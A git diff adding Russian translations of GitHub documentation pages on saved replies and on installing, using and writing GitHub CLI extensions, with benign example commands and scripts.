b/translations/ru-RU/content/get-started/writing-on-github/working-with-saved-replies/about-saved-replies.md new file mode 100644 index 000000000000..525b06c9eed7 --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/working-with-saved-replies/about-saved-replies.md @@ -0,0 +1,35 @@ +--- +title: Сведения о сохраненных ответах +intro: Сохраненный ответ можно использовать для ответа на проблему или запрос на вытягивание. +redirect_from: + - /articles/about-saved-replies + - /github/writing-on-github/about-saved-replies + - /github/writing-on-github/working-with-saved-replies/about-saved-replies +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 95aeed377550900ffef6f2ea08709477f0460ba6 +ms.sourcegitcommit: c45cc7325ed19e69ddd7506e46fcafd0b5182b3f +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/12/2022 +ms.locfileid: '148019620' +--- +![Сохраненные ответы](/assets/images/help/settings/saved-replies.png) + +Функция сохраненных ответов позволяет создавать многократно используемые ответы на проблемы и запросы на включение внесенных изменений. Сохранив часто используемый ответ, вы в будущем сэкономите себе время. + +После добавления сохраненного ответа его можно использовать в проблемах, запросах на вытягивание и обсуждениях. Сохраненные ответы привязаны к вашей личной учетной записи. После создания вы сможете использовать их в репозиториях и организациях. + +Можно создать не более 100 сохраненных ответов. Если достигнуто максимальное количество, можно удалить сохраненные ответы, которые больше не используются, или изменить существующие. + +Также можно использовать сохраненный ответ "Повторяющаяся проблема" из {% data variables.product.product_name %}, чтобы пометить проблему как дублирующуюся и отслеживать ее вместе с уже зарегистрированной проблемой. + +## Дополнительные материалы + +- [Создание сохраненного ответа](/articles/creating-a-saved-reply) +- [Использование сохраненных ответов](/articles/using-saved-replies) +- [Изменение сохраненного ответа](/articles/editing-a-saved-reply) +- [Удаление сохраненного ответа](/articles/deleting-a-saved-reply) diff --git a/translations/ru-RU/content/get-started/writing-on-github/working-with-saved-replies/creating-a-saved-reply.md b/translations/ru-RU/content/get-started/writing-on-github/working-with-saved-replies/creating-a-saved-reply.md new file mode 100644 index 000000000000..f779c97172bb --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/working-with-saved-replies/creating-a-saved-reply.md @@ -0,0 +1,29 @@ +--- +title: Creating a saved reply +intro: 'If you frequently add the same comment over and over, you can create a saved reply.' +redirect_from: + - /articles/creating-a-saved-reply + - /github/writing-on-github/creating-a-saved-reply + - /github/writing-on-github/working-with-saved-replies/creating-a-saved-reply +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +--- +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.saved_replies %} +3. Under "Add a saved reply", add your saved reply title. +![Saved reply title](/assets/images/help/settings/saved-replies-title.png) +4. In the "Write" field, add the content you'd like to use for the saved reply. For more information on writing on {% data variables.product.product_name %}, see "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)." +![Writing a saved reply](/assets/images/help/settings/saved-replies-settings-adding.png) +5. To review your reply, click **Preview**. +![Add a saved reply](/assets/images/help/settings/saved-replies-preview.png) +6. Click **Add saved reply**. +!["Add saved reply" button](/assets/images/help/settings/saved-replies-add-button.png) + +## Further reading + +- "[Using saved replies](/articles/using-saved-replies)" +- "[Editing a saved reply](/articles/editing-a-saved-reply)" +- "[Deleting a saved reply](/articles/deleting-a-saved-reply)" diff --git a/translations/ru-RU/content/get-started/writing-on-github/working-with-saved-replies/deleting-a-saved-reply.md b/translations/ru-RU/content/get-started/writing-on-github/working-with-saved-replies/deleting-a-saved-reply.md new file mode 100644 index 000000000000..8aadbeea0b0e --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/working-with-saved-replies/deleting-a-saved-reply.md @@ -0,0 +1,17 @@ +--- +title: Deleting a saved reply +intro: 'If you find that you''re no longer using a saved reply, you can delete it.' +redirect_from: + - /articles/deleting-a-saved-reply + - /github/writing-on-github/deleting-a-saved-reply + - /github/writing-on-github/working-with-saved-replies/deleting-a-saved-reply +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +--- +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.saved_replies %} +3. Under "Saved replies", next to the saved reply you want to delete, click {% octicon "x" aria-label="The X" %}. +![Delete saved reply](/assets/images/help/settings/saved-replies-delete-existing.png) diff --git a/translations/ru-RU/content/get-started/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md b/translations/ru-RU/content/get-started/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md new file mode 100644 index 000000000000..38989fb3d15a --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md @@ -0,0 +1,28 @@ +--- +title: Editing a saved reply +intro: You can edit the title and body of a saved reply. +redirect_from: + - /articles/changing-a-saved-reply + - /articles/editing-a-saved-reply + - /github/writing-on-github/editing-a-saved-reply + - /github/writing-on-github/working-with-saved-replies/editing-a-saved-reply +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +--- +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.saved_replies %} +3. Under "Saved replies", next to the saved reply you want to edit, click {% octicon "pencil" aria-label="The pencil" %}. +![Edit a saved reply](/assets/images/help/settings/saved-replies-edit-existing.png) +4. Under "Edit saved reply", you can edit the title and the content of the saved reply. +![Edit title and content](/assets/images/help/settings/saved-replies-edit-existing-content.png) +5. Click **Update saved reply**. +![Update saved reply](/assets/images/help/settings/saved-replies-save-edit.png) + +## Further reading + +- "[Creating a saved reply](/articles/creating-a-saved-reply)" +- "[Deleting a saved reply](/articles/deleting-a-saved-reply)" +- "[Using saved replies](/articles/using-saved-replies)" diff --git a/translations/ru-RU/content/get-started/writing-on-github/working-with-saved-replies/index.md b/translations/ru-RU/content/get-started/writing-on-github/working-with-saved-replies/index.md new file mode 100644 index 000000000000..f99f859e1d02 --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/working-with-saved-replies/index.md @@ -0,0 +1,26 @@ +--- +title: Работа с сохраненными ответами +intro: 'Чтобы сэкономить время и убедиться в том, что доставлено согласованное сообщение, можно добавить сохраненные ответы на проблему и комментарии к запросу на вытягивание.' +redirect_from: + - /articles/working-with-saved-replies + - /github/writing-on-github/working-with-saved-replies +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /about-saved-replies + - /creating-a-saved-reply + - /editing-a-saved-reply + - /deleting-a-saved-reply + - /using-saved-replies +shortTitle: Work with saved replies +ms.openlocfilehash: 55d2bc176354a565a2d49ceb9625e6218dfc9c4a +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145069801' +--- + diff --git a/translations/ru-RU/content/get-started/writing-on-github/working-with-saved-replies/using-saved-replies.md b/translations/ru-RU/content/get-started/writing-on-github/working-with-saved-replies/using-saved-replies.md new file mode 100644 index 000000000000..212877543213 --- /dev/null +++ b/translations/ru-RU/content/get-started/writing-on-github/working-with-saved-replies/using-saved-replies.md @@ -0,0 +1,39 @@ +--- +title: Использование сохраненных ответов +intro: 'При добавлении комментариев к проблеме или запросу на вытягивание можно добавить предварительно настроенный сохраненный ответ. Сохраненный ответ может представлять собой весь комментарий или, если вы хотите настроить его, можно добавить или удалить содержимое.' +redirect_from: + - /articles/using-saved-replies + - /github/writing-on-github/using-saved-replies + - /github/writing-on-github/working-with-saved-replies/using-saved-replies +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: cdedced45968eae09bb3ad4ef203949aab45eee5 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145069800' +--- +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} +2. Щелкните нужную проблему или запрос на вытягивание. +3. Чтобы добавить сохраненный ответ, в поле комментария щелкните {% octicon "reply" aria-label="The mail reply" %}. + ![Кнопка сохраненных ответов](/assets/images/help/writing/saved-replies-button.png) +4. В списке выберите сохраненный ответ, который нужно добавить в комментарий. + ![Сохраненные ответы](/assets/images/help/settings/saved-replies.png) + +{% tip %} + +**Советы** +- Комментарий можно автоматически заполнить сохраненным ответом с помощью сочетания клавиш. Дополнительные сведения см. в разделе [Сочетания клавиш](/articles/keyboard-shortcuts/#comments). +- Чтобы отфильтровать список, введите заголовок сохраненного ответа. + +{% endtip %} + +## Дополнительные материалы + +- [Создание сохраненного ответа](/articles/creating-a-saved-reply) +- [Изменение сохраненного ответа](/articles/editing-a-saved-reply) +- [Удаление сохраненного ответа](/articles/deleting-a-saved-reply) diff --git a/translations/ru-RU/content/github-cli/github-cli/about-github-cli.md b/translations/ru-RU/content/github-cli/github-cli/about-github-cli.md new file mode 100644 index 000000000000..7f98cb08021c --- /dev/null +++ b/translations/ru-RU/content/github-cli/github-cli/about-github-cli.md @@ -0,0 +1,37 @@ +--- +title: Сведения о GitHub CLI +intro: '{% data reusables.cli.cli-intro %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - CLI +type: overview +redirect_from: + - /github/getting-started-with-github/github-cli + - /github/getting-started-with-github/using-github/github-cli + - /actions/guides/managing-github-actions-with-github-cli +ms.openlocfilehash: b467665eb07ef3f67716af9c47839cf52447d716 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145069796' +--- +## Сведения о {% data variables.product.prodname_cli %} + +{% data reusables.cli.about-cli %} + +{% data reusables.cli.cli-features %} + +Дополнительные сведения о возможностях {% data variables.product.prodname_cli %} см. в [руководстве по {% data variables.product.prodname_cli %}](https://cli.github.com/manual). + +## Установка {% data variables.product.prodname_cli %} + +{% data reusables.cli.cli-installation %} + +## Отправка отзывов + +Если у вас есть отзыв или запрос функции, можно открыть проблему в [репозитории `cli/cli`](https://github.com/cli/cli). diff --git a/translations/ru-RU/content/github-cli/github-cli/creating-github-cli-extensions.md b/translations/ru-RU/content/github-cli/github-cli/creating-github-cli-extensions.md new file mode 100644 index 000000000000..af7dd34c4cc4 --- /dev/null +++ b/translations/ru-RU/content/github-cli/github-cli/creating-github-cli-extensions.md @@ -0,0 +1,286 @@ +--- +title: Создание расширений GitHub CLI +intro: 'Узнайте, как использовать новые команды {% data variables.product.prodname_cli %} совместно с другими пользователями, создавая пользовательские расширения для {% data variables.product.prodname_cli %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - CLI +ms.openlocfilehash: 1913b2819986fd9e6ef85b9a95b6431f893babe2 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009884' +--- +## Сведения о расширениях {% data variables.product.prodname_cli %} + +{% data reusables.cli.cli-extensions %} Дополнительные сведения об использовании расширений {% data variables.product.prodname_cli %} см. в разделе [Использование расширений {% data variables.product.prodname_cli %}](/github-cli/github-cli/using-github-cli-extensions). + +Вам потребуется репозиторий для каждого создаваемого расширения. Имя репозитория должно начинаться с `gh-`. Остальная часть имени репозитория — это имя расширения. В корне репозитория должен быть исполняемый файл с тем же именем, что и у репозитория, либо к выпуску должен быть прикреплен набор предварительно скомпилированных двоичных исполняемых файлов. + +{% note %} + +**Примечание**. При использовании исполняемого скрипта рекомендуется использовать скрипт bash, так как bash — это широко применяемый интерпретатор. Вы можете использовать скрипты, отличные от bash, но для использования расширения у пользователя должен быть установлен необходимый интерпретатор. Чтобы не зависеть от наличия интерпретатора у пользователя, можно предварительно скомпилировать расширение. + +{% endnote %} + +## Создание интерпретируемого расширения с помощью `gh extension create` + +{% note %} + +**Примечание**. При выполнении команды `gh extension create` без аргументов запускается интерактивный мастер. + +{% endnote %} + +С помощью команды `gh extension create` можно создать проект для расширения, включая скрипт bash, содержащий начальный код. + +1. Настройте новое расширение с помощью подкоманды `gh extension create`. Замените `EXTENSION-NAME` именем своего расширения. + + ```shell + gh extension create EXTENSION-NAME + ``` + +1. Следуйте выводимым инструкциям, чтобы завершить и при необходимости опубликовать расширение. + +## Создание предварительно скомпилированного расширения на Go с помощью `gh extension create` + +С помощью аргумента `--precompiled=go` можно создать проект на основе Go для расширения, включая формирование шаблонов Go, формирование шаблонов рабочих процессов и начальный код. + +1. Настройте новое расширение с помощью подкоманды `gh extension create`. Замените `EXTENSION-NAME` именем своего расширения и укажите `--precompiled=go`. + + ```shell + gh extension create --precompiled=go EXTENSION-NAME + ``` + +1. Следуйте выводимым инструкциям, чтобы завершить и при необходимости опубликовать расширение. + +## Создание предварительно скомпилированного расширения не на Go с помощью `gh extension create` + +С помощью аргумента `--precompiled=other` можно создать проект для предварительно скомпилированного расширения не на Go, включая формирование шаблонов рабочих процессов. + +1. Настройте новое расширение с помощью подкоманды `gh extension create`. Замените `EXTENSION-NAME` именем своего расширения и укажите `--precompiled=other`. + + ```shell + gh extension create --precompiled=other EXTENSION-NAME + ``` + +1. Добавьте исходный код расширения на предпочтительном компилируемом языке. + +1. Заполните файл `script/build.sh` кодом так, чтобы сборка расширения могла быть выполнена автоматически. + +1. Следуйте выводимым инструкциям, чтобы завершить и при необходимости опубликовать расширение. + +## Создание интерпретируемого расширения вручную + +1. Создайте для расширения локальный каталог `gh-EXTENSION-NAME`. Замените `EXTENSION-NAME` именем своего расширения. Например, `gh-whoami`. + +1. В созданном каталоге добавьте исполняемый файл с тем же именем, что и у каталога. + + {% note %} + + **Примечание**. Файл должен быть исполняемым. В Unix можно выполнить в командной строке команду `chmod +x file_name`, чтобы сделать файл `file_name` исполняемым. В Windows можно выполнить `git init -b main`, `git add file_name`, а затем `git update-index --chmod=+x file_name`. + + {% endnote %} + +1. Напишите скрипт в исполняемом файле. Пример: + + ```bash + #!/usr/bin/env bash + set -e + exec gh api user --jq '"You are @\(.login) (\(.name))."' + ``` + +1. Из каталога установите расширение в качестве локального. + + ```shell + gh extension install . + ``` + +1. Убедитесь в том, что расширение работает. Замените `EXTENSION-NAME` именем своего расширения. Например, `whoami`. + + ```shell + gh EXTENSION-NAME + ``` + +1. Создайте репозиторий из каталога для публикации расширения. Замените `EXTENSION-NAME` именем своего расширения. + + ```shell + git init -b main + git add . && git commit -m "initial commit" + gh repo create gh-EXTENSION-NAME --source=. --public --push + ``` + +1. Если необходимо помочь другим пользователям найти расширение, добавьте к репозиторию тему `gh-extension`. В результате расширение появится на [странице темы `gh-extension`](https://github.com/topics/gh-extension). Дополнительные сведения о добавлении темы репозитория см. в разделе [Классификация репозиториев по темам](/github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics). + +## Советы по написанию интерпретируемых расширений {% data variables.product.prodname_cli %} + +### Работа с аргументами и флагами + +Все аргументы командной строки после команды `gh my-extension-name` будут передаваться в скрипт расширения. В скрипте bash можно ссылаться на аргументы с помощью `$1`, `$2` и т. д. С помощью аргументов можно принимать вводимые пользователем данные или изменять выполнение скрипта. + +Например, приведенный ниже скрипт обрабатывает несколько флагов. При вызове скрипта с флагом `-h` или `--help` он выводит текст справки вместо продолжения выполнения. При вызове скрипта с флагом `--name` он задает следующее после флага значение равным `name_arg`. При вызове скрипта с флагом `--verbose` он выводит другое приветствие. + +```bash +#!/usr/bin/env bash +set -e + +verbose="" +name_arg="" +while [ $# -gt 0 ]; do + case "$1" in + --verbose) + verbose=1 + ;; + --name) + name_arg="$2" + shift + ;; + -h|--help) + echo "Add help text here." + exit 0 + ;; + esac + shift +done + +if [ -z "$name_arg" ] +then + echo "You haven't told us your name." +elif [ -z "$verbose" ] +then + echo "Hi $name_arg" +else + echo "Hello and welcome, $name_arg" +fi +``` + +### Вызов основных команд в неинтерактивном режиме + +Некоторые основные команды {% data variables.product.prodname_cli %} запрашивают у пользователя ввод данных. При написании скриптов с помощью этих команд запросы часто нежелательны. Чтобы избежать их вывода, укажите необходимые сведения явным образом с помощью аргументов. + +Например, чтобы создать проблему программным способом, укажите заголовок и текст: + +```shell +gh issue create --title "My Title" --body "Issue description" +``` + +### Программное получение данных + +Многие основные команды поддерживают флаг `--json` для программного получения данных. Например, чтобы вернуть объект JSON со списком номеров, заголовков и состояний возможности слияния запросов на вытягивание, выполните следующую команду: + +```shell +gh pr list --json number,title,mergeStateStatus +``` + +Если основной команды для получения определенных данных из GitHub не существует, можно использовать команду [`gh api`](https://cli.github.com/manual/gh_api) для доступа к API GitHub. Например, чтобы получить сведения о текущем пользователе, выполните следующую команду: + +```shell +gh api user +``` + +Все команды, которые выводят данные JSON, также имеют параметры для фильтрации данных с целью их немедленного использования скриптами. Например, чтобы получить имя текущего пользователя, выполните следующую команду: + +```shell +gh api user --jq '.name' +``` + +Дополнительные сведения см. на веб-сайте [`gh help formatting`](https://cli.github.com/manual/gh_help_formatting). + +## Создание предварительно скомпилированного расширения вручную + +1. Создайте для расширения локальный каталог `gh-EXTENSION-NAME`. Замените `EXTENSION-NAME` именем своего расширения. Например, `gh-whoami`. + +1. В созданном каталоге добавьте исходный код. Пример: + + ```go + package main + import ( + "github.com/cli/go-gh" + "fmt" + ) + + func main() { + args := []string{"api", "user", "--jq", `"You are @\(.login) (\(.name))"` } + stdOut, _, err := gh.Exec(args...) + if err != nil { + fmt.Println(err) + return + } + fmt.Println(stdOut.String()) + } + ``` + +1. Из каталога установите расширение в качестве локального. + + ```shell + gh extension install . + ``` + +1. Выполните сборку кода. Например, при использовании Go замените `YOUR-USERNAME` на свое имя пользователя GitHub: + + ```shell + go mod init github.com/YOUR-USERNAME/gh-whoami + go mod tidy + go build + ``` + +1. Убедитесь в том, что расширение работает. Замените `EXTENSION-NAME` именем своего расширения. Например, `whoami`. + + ```shell + gh EXTENSION-NAME + ``` + +1. Создайте репозиторий из каталога для публикации расширения. Замените `EXTENSION-NAME` именем своего расширения. + + {% note %} + + **Примечание**. Не фиксируйте двоичный файл, созданный на этапе компиляции, в системе управления версиями. + + {% endnote %} + + ```shell + git init -b main + echo "gh-EXTENSION-NAME" >> .gitignore + git add main.go go.* .gitignore && git commit -m 'Initial commit' + gh repo create "gh-EXTENSION-NAME" + ``` + +1. Создайте выпуск для предоставления доступа к предварительно скомпилированному расширению другим пользователям. Выполните компиляцию для каждой платформы, которая должна поддерживаться, прикрепив каждый двоичный файл к выпуску в качестве ресурса. Двоичные исполняемые файлы, прикрепляемые к выпускам, должны соответствовать соглашению об именовании и иметь суффикс ОС-АРХИТЕКТУРА\[РАСШИРЕНИЕ\]. + + Например, расширение с именем `whoami`, скомпилированное для 64-разрядной версии Windows, будет иметь имя `gh-whoami-windows-amd64.exe`, а то же расширение, скомпилированное для 32-разрядной версии Linux, будет иметь имя `gh-whoami-linux-386`. Полный список сочетаний ОС и архитектуры, распознаваемых `gh`, см. в [этом исходном коде](https://github.com/cli/cli/blob/14f704fd0da58cc01413ee4ba16f13f27e33d15e/pkg/cmd/extension/manager.go#L696). + + {% note %} + + **Примечание**. Чтобы расширение правильно выполнялось в Windows, его файл ресурса должен иметь расширение `.exe`. Для других операционных систем расширение не требуется. + + {% endnote %} + + Выпуски можно создавать из командной строки. Пример: + + ```shell + git tag v1.0.0 + git push origin v1.0.0 + GOOS=windows GOARCH=amd64 go build -o gh-EXTENSION-NAME-windows-amd64.exe + GOOS=linux GOARCH=amd64 go build -o gh-EXTENSION-NAME-linux-amd64 + GOOS=darwin GOARCH=amd64 go build -o gh-EXTENSION-NAME-darwin-amd64 + gh release create v1.0.0 ./*amd64* + +1. Optionally, to help other users discover your extension, add the repository topic `gh-extension`. This will make the extension appear on the [`gh-extension` topic page](https://github.com/topics/gh-extension). For more information about how to add a repository topic, see "[Classifying your repository with topics](/github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics)." + + +## Tips for writing precompiled {% data variables.product.prodname_cli %} extensions + +### Automating releases + +Consider adding the [gh-extension-precompile](https://github.com/cli/gh-extension-precompile) action to a workflow in your project. This action will automatically produce cross-compiled Go binaries for your extension and supplies build scaffolding for non-Go precompiled extensions. + +### Using {% data variables.product.prodname_cli %} features from Go-based extensions + +Consider using [go-gh](https://github.com/cli/go-gh), a Go library that exposes pieces of `gh` functionality for use in extensions. + +## Next steps + +To see more examples of {% data variables.product.prodname_cli %} extensions, look at [repositories with the `gh-extension` topic](https://github.com/topics/gh-extension). diff --git a/translations/ru-RU/content/github-cli/github-cli/github-cli-reference.md b/translations/ru-RU/content/github-cli/github-cli/github-cli-reference.md new file mode 100644 index 000000000000..c0f9136d8b46 --- /dev/null +++ b/translations/ru-RU/content/github-cli/github-cli/github-cli-reference.md @@ -0,0 +1,41 @@ +--- +title: Справочник по GitHub CLI +intro: 'Все команды {% data variables.product.prodname_cli %} можно просмотреть в терминале или в руководстве {% data variables.product.prodname_cli %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - CLI +type: reference +ms.openlocfilehash: 1da9b2ffe79af2c432a4dfc79f944f8656663733 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145069792' +--- +Просмотреть все высокоуровневые команды {% data variables.product.prodname_cli %} можно в [руководстве по {% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh) или путем вызова `gh` без аргументов. + +```shell +gh +``` + +Чтобы получить список всех команд, относящихся к определенной группе, используйте команду верхнего уровня без аргументов. Например, так можно вывести список [команд для управления репозиториями](https://cli.github.com/manual/gh_repo): + +```shell +gh repo +``` + +Чтобы просмотреть переменные среды, которые можно использовать с {% data variables.product.prodname_cli %}, см. [руководство по {% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_help_environment) или выполните команду `environment`. + +```shell +gh environment +``` + +Чтобы просмотреть параметры конфигурации, которые можно использовать с {% data variables.product.prodname_cli %}, см. [руководство по {% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_config) или используйте команду `config`. + +```shell +gh config +``` diff --git a/translations/ru-RU/content/github-cli/github-cli/index.md b/translations/ru-RU/content/github-cli/github-cli/index.md new file mode 100644 index 000000000000..cb0f1e4cdde7 --- /dev/null +++ b/translations/ru-RU/content/github-cli/github-cli/index.md @@ -0,0 +1,23 @@ +--- +title: GitHub CLI +shortTitle: GitHub CLI +intro: '{% data reusables.cli.about-cli %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /about-github-cli + - /quickstart + - /creating-github-cli-extensions + - /using-github-cli-extensions + - /github-cli-reference +ms.openlocfilehash: 9b3befdcf584c3f95d6557325ff5e8667f451878 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147710398' +--- + diff --git a/translations/ru-RU/content/github-cli/github-cli/quickstart.md b/translations/ru-RU/content/github-cli/github-cli/quickstart.md new file mode 100644 index 000000000000..4b77a522cb2d --- /dev/null +++ b/translations/ru-RU/content/github-cli/github-cli/quickstart.md @@ -0,0 +1,47 @@ +--- +title: GitHub CLI quickstart +intro: 'Start using {% data variables.product.prodname_cli %} to work with {% data variables.product.company_short %} in the command line.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - CLI +type: overview +allowTitleToDifferFromFilename: true +shortTitle: Quickstart +--- + +## About {% data variables.product.prodname_cli %} + +{% data reusables.cli.about-cli %} + +## Getting started + +1. [Install](https://github.com/cli/cli#installation) {% data variables.product.prodname_cli %} on macOS, Windows, or Linux. +1. In the command line, authenticate to {% data variables.product.company_short %}. + + ```shell + gh auth login + ``` + + {% ifversion not fpt or ghec %} + To authenticate to {% data variables.location.product_location %}, use the `--hostname` flag. + + ```shell + gh auth login --hostname HOSTNAME + ``` + + {% endif %} +1. Start working with {% data variables.product.company_short %} in the command line. For example, find an issue to work on with `gh issue status` or `gh issue list --assignee @me`. Create a pull request with `gh pr create`. Review a pull request with `gh pr checkout`, `gh pr diff` and `gh pr review`. + +## Next steps + +- Tell {% data variables.product.prodname_cli %} which text editor to use for commands that open a text editor. For example, enter `gh config set editor "code -w"` to set your preferred text editor to {% data variables.product.prodname_vscode %}. For more information, see [`gh config set`](https://cli.github.com/manual/gh_config_set). + +- Define aliases for commands that you commonly run. For example, if you run `gh alias set prd "pr create --draft"`, you will then be able to run `gh prd` to quickly open a draft pull request. For more information, see [`gh alias`](https://cli.github.com/manual/gh_alias). + +- Create or add custom commands with {% data variables.product.prodname_cli %} extensions. For more information, see "[Using {% data variables.product.prodname_cli %} extensions](/github-cli/github-cli/using-github-cli-extensions)" and "[Creating {% data variables.product.prodname_cli %} extensions](/github-cli/github-cli/creating-github-cli-extensions)." + +- For more information about all of the commands that you can run with {% data variables.product.prodname_cli %}, see "[{% data variables.product.prodname_cli %} reference](/github-cli/github-cli/github-cli-reference)." diff --git a/translations/ru-RU/content/github-cli/github-cli/using-github-cli-extensions.md b/translations/ru-RU/content/github-cli/github-cli/using-github-cli-extensions.md new file mode 100644 index 000000000000..c92abd65fc93 --- /dev/null +++ b/translations/ru-RU/content/github-cli/github-cli/using-github-cli-extensions.md @@ -0,0 +1,76 @@ +--- +title: Использование расширений GitHub CLI +intro: 'Узнайте, как использовать пользовательские расширения, написанные другими пользователями {% data variables.product.prodname_cli %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - CLI +ms.openlocfilehash: bd7a637b98cba071befd4a30ee1e450acdb70c39 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009215' +--- +## Сведения о расширениях {% data variables.product.prodname_cli %} + +{% note %} + +**Примечание.** Расширения за пределами {% data variables.product.product_name %} и {% data variables.product.prodname_cli %} не сертифицированы {% data variables.product.product_name %} и регулируются отдельными условиями предоставления услуг, политикой конфиденциальности и документацией по поддержке. Чтобы снизить риск при использовании сторонних расширений, выполните аудит исходного кода расширения перед установкой или обновлением расширения. + +{% endnote %} + +{% data reusables.cli.cli-extensions %} Дополнительные сведения о создании расширений {% data variables.product.prodname_cli %} см. в статье [Создание расширений {% data variables.product.prodname_cli %}](/github-cli/github-cli/creating-github-cli-extensions). + +Расширения устанавливаются локально и ограничены пользователем. Таким образом, если вы обращаетесь к {% data variables.product.prodname_cli %} с другого компьютера или другой пользователь обращается к {% data variables.product.prodname_cli %} с того же компьютера, расширение будет недоступно. + +## Поиск расширений + +Расширения можно найти, просмотрев [репозитории с темой `gh-extension`](https://github.com/topics/gh-extension). + +## Установка расширений + +Чтобы установить расширение, используйте подкоманду `extensions install`. Замените параметр `repo` на репозиторий расширения. Можно использовать полный URL-адрес, например `https://github.com/octocat/gh-whoami`, или только владельца и репозитория, например `octocat/gh-whoami`. + +Если используется владелец и репозиторий, `gh`установит расширение с использованием имени узла, к которому `gh` в настоящее время выполняет проверку подлинности. Формат полного URL-адреса полезен при установке расширений с другого узла. Например, пользователи на {% data variables.product.prodname_ghe_server %} должны использовать полный URL-адрес репозитория, чтобы установить расширения с {% data variables.product.prodname_dotcom_the_website %} или любого другого узла. + +Чтобы установить расширение в разработке из текущего каталога, используйте `.` в качестве значения для параметра `repo`. + +```shell +gh extension install REPO +``` + +Если у вас уже установлено расширение с тем же именем, команда завершится ошибкой. Например, если вы уже установили `octocat/gh-whoami`, то необходимо его удалить перед установкой `hubot/gh-whoami`. + +## Отображение установленных расширений + +Чтобы просмотреть все установленные расширения, используйте подкоманду `extensions list`. В выходных данных также будет указано, для каких расширений доступны обновления. + +```shell +gh extension list +``` + +## Обновление расширений + +Чтобы обновить расширение, используйте подкоманду `extensions upgrade`. Замените параметр `extension` на имя расширения. + +```shell +gh extension upgrade EXTENSION +``` + +Чтобы обновить все установленные расширения, используйте флаг `--all`. + +```shell +gh extension upgrade --all +``` + +## Удаление расширений + +Чтобы удалить расширение, используйте подкоманду `extensions remove`. Замените параметр `extension` на имя расширения. + +```shell +gh extension remove EXTENSION +``` diff --git a/translations/ru-RU/content/github-cli/index.md b/translations/ru-RU/content/github-cli/index.md new file mode 100644 index 000000000000..f4274041dd0f --- /dev/null +++ b/translations/ru-RU/content/github-cli/index.md @@ -0,0 +1,43 @@ +--- +title: GitHub CLI +shortTitle: GitHub CLI +intro: '{% data reusables.cli.about-cli %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /github-cli +introLinks: + overview: /github-cli/github-cli/about-github-cli + quickstart: /github-cli/github-cli/quickstart + reference: /github-cli/github-cli/github-cli-reference +featuredLinks: + guides: + - /github-cli/github-cli/creating-github-cli-extensions + - /github-cli/github-cli/using-github-cli-extensions + - /actions/guides/using-github-cli-in-workflows + - /codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli + popular: + - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request + - /issues/tracking-your-work-with-issues/creating-an-issue + - /github/authenticating-to-github/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account + - /get-started/quickstart/create-a-repo + - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally + - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request + - /get-started/quickstart/fork-a-repo + - /github/creating-cloning-and-archiving-repositories/cloning-a-repository-from-github/cloning-a-repository + popularHeading: Popular CLI tasks +changelog: + label: cli +layout: product-landing +beta_product: false +ms.openlocfilehash: 